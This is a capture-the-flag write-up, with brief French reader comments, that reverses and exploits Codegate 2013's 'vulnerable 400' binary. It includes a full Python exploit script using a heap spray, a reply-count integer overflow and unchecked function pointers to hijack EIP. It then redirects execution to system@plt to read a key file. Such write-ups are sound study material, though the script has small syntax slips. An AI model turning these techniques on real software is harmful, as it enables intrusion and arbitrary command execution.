FR EN

Vulnerable 400

<< Vulnerable 200

Codegate's vuln 400 challenge is a 32-bits ELF, stripped, not compiled with stackexec. It's an ordinary app using stdin/stdout, designed to manage comments and replies to these comments.

Codegate 2013 vulnerable 400 usage example

The first thing to do in this case was to know what data structures looked like. Long story short, we came up with these structures for comments and replies :

struct comment {
	0. char reply_count = 0;
	4. struct comment * next = 0;
	8. struct comment * prev = 0;
	12. func * fill_coment_func = fill_comment;
	16. func * delete_comment_func = delete_comment;
	20. struct reply * replies = 0;
	24. int id = global_count;
	28. char* author = malloc(0x100);
	32. char* title = malloc(0x100);
	36. char* content;
	40. int status = 0xDEADBEEF;
	44. int unknown = rand();
};

struct reply {
	0. int unknown;
	4. int status;
	8. int parent_comment;
	12. char * reply_content;
	16. func * unknown_func;
	20. func * delete_reply_func;
	24. struct reply * next;
}

The initialization values for the comment struct are those used in its init function at 0x080490bc. Replies are initialized at 0x08048e73 which looks like

struct comment * do_reply(struct comment * comment) {
	struct reply * reply = malloc(0x1c);
	char * reply_content = malloc(0x74);
	struct reply * tmp;

	reply->parent_comment = comment->id;
	reply->status = 0xDEEBFACE;
	reply->next = 0;

	if (comment->replies) {
		for (tmp=comment->replies;tmp->next;tmp=tmp->next);
			tmp->next = reply;
		fgets(reply_content, 0x64, stdin);
		reply_content[strlen(reply_content) - 1] = 0;
	} else {
		comment->replies = reply;
		memcpy(reply_content, "Welcome, It's Auto reply system", 0x64);
	}
	
	reply->reply_content = reply_content;
	comment->reply_count ++;

	return comment;
}

A comment's creation automatically invokes this function, that's why there is the auto-reply part. What is notable compared to the comment init in that most fields are not initialized there. Replies' delete_reply_func field is filled on the fly during the destruction of the parent comment at 0x08048f82 :

void do_delete(struct comment * comment) {
	struct reply * tmp;

	if (comment->reply_count <= 0) {
		comment->prev->next = comment->next;
		comment->next->prev = comment->prev;
		if (comment->status == 0xDEADBEEF) {
			for (tmp = comment->replies;tmp->next;tmp = tmp->next) {
				tmp->func1 = 0x080A87AC;
				tmp->delete_reply_func = free_wrapper;
			}

			comment->delete_comment_func(comment);
		}
	} else
		puts("Cannot be deleted, blabla\n");
}

The deletion is easy to understand : if a comment has no replies, it is removed from the linked list - obviously causing potential null pointers faults for the first and last comments here. Then if its status is still the same 0xDEADBEEF set during initialization, the function pointers for its replies are filled. Then its own deletion's function pointer is called.

We see that comments should never be destroyed, as there is not way of removing replies, yet the reply_count must be <= 0 for the comment to be deleted. And as there is always at least the auto-reply this should never happen. However, the jump is a jle - signed comparison, so if we add 0x7f replies to the first auto-reply, we have an integer overflow as 0x80 is negative.

On to the delete_comment function at 0x08048962 :

void delete_comment(struct comment * comment) {
	struct reply * tmp;

	tmp = comment->replies;
	for (i=0;i<=1;i++) {
		if (replies->delete_reply_func != free_wrapper) {
			puts("Detected\n"); exit(1);
		}
		tmp = tmp->next;
	}

	while (tmp->next) {
		tmp->delete_reply_func(tmp->reply_content);
		tmp = tmp->next;
	}

	free(comment->author);
	free(comment->title);
	free(comment->content);
}

It basically checks that the first replies have had their function pointer initialized and hop to the actual deletion if it is the case. Many logical errors in this function, the most obvious being the fact that most function pointers are left unchecked before being executed.Adding the fact that the "modify comment" feature changes the status code of a comment, we have everything in hands to hijack EIP :

  • 1. spray the heap with large comments
  • 2. add 0x7f replies to each one to remove them
  • 3. add another comment with 0x7f replies
  • 4. modify the comment to change the 0xDEADBEEF status
  • 5. delete the comment to have delete_reply_func pointing to uninitialized data

From there, the program should exit after printing "Detected" as the first replies's function pointers do not match free_wrapper (0x080487c4). With a simple metasploit pattern we see that those two function pointers are at offsets 36 and 644 of our third comment's content.

#!/usr/bin/python
import struct
import subprocess

free_wrapper = struct.pack("<I", 0x080487C4)
target = struct.pack("<I", 0xcafebabe)

# create 7 large comments
for i in range(0,7):
	print "1"
	print "A" * 248
	print "A" * 248
	if i == 2:
		base = "x"*36 + free_wrapper
		base += "x"*604 + free_wrapper
		print base + (target * 2000)[0:7998 - len(base)]
	else:
		print "A" * 7998)

# int overflow reply counts
# for all comments
for i in range(0,7):
	print "2\n%d"%(i+1)
	for j in range(0, 0x7f):
		print "3\n" + "a" * 98
	print "4\n4"

# delete these comments
# but the first and last
# to avoid null derefs
for i in range(1,6):
	print "2\n%d\n1\n4\n4"%(i+1)

# add two new comments
# just one would cause a
# null pointer
for i in range(0,2):
print "1\nb\nc\nd"

# add 0x7f replies to comment 8
print "2\n8"
for j in range(0, 0x7f):
	print "3\nx"
print "4\n4"

# modify comment 8
print "2\n8\n2\na\na\n4\n4"

# delete comment 8
print "2\n8\n1\n4\n4"

print "3"

Trying in gdb :

Program received signal SIGSEGV, Segmentation fault.
0xcafebabe in ?? ()
(gdb) i r
	eax         0xcafebabe	-889275714
	ecx         0x1	1
	edx         0x8058d28	134581544
	ebx         0xf7fb4ff4	-134524940
	esp         0xffffd0cc	0xffffd0cc
	ebp         0xffffd0f8	0xffffd0f8
	esi         0x0	0
	edi         0x0	0
	eip         0xcafebabe	0xcafebabe

There it is, we control EIP. However heap is not executable and I did not find much interesting things in registers nor around the top of the stack. However, grimmlin spotted that system() was in the plt and that his *esp pointed to the "x" from one of the replies added to comment 8 - I wonder why it wasn't the case for me. Having that, the last replies' content has to be changed with any command to be executed, and the target by 0x8048630 - system@plt. With successive commands, we find that the key file is /home/onetime/key.txt, end of story.

<< Vulnerable 200

2 messages

  1. FrizN 01/06/13 09:42

    Merci, je ne me souviens plus trop bien, mais je pense 2h. On avait mis bien plus de temps à finaliser le sploit par contre, le temps de trouver la vuln et la façon d'exploiter.

    Mais de toute façon, y'a qu'en répétant ce type d'exercice qu'on peut aller plus vite ensuite.

  2. crashed 01/06/13 00:17

    excellente writeup , je voudrais savoir combien de temps avez vous passé pour reverser ce binaire !

    pour moi plus de 6h et je ne sais pas si c'est un bon temps ou pas ?

    Merci d'avance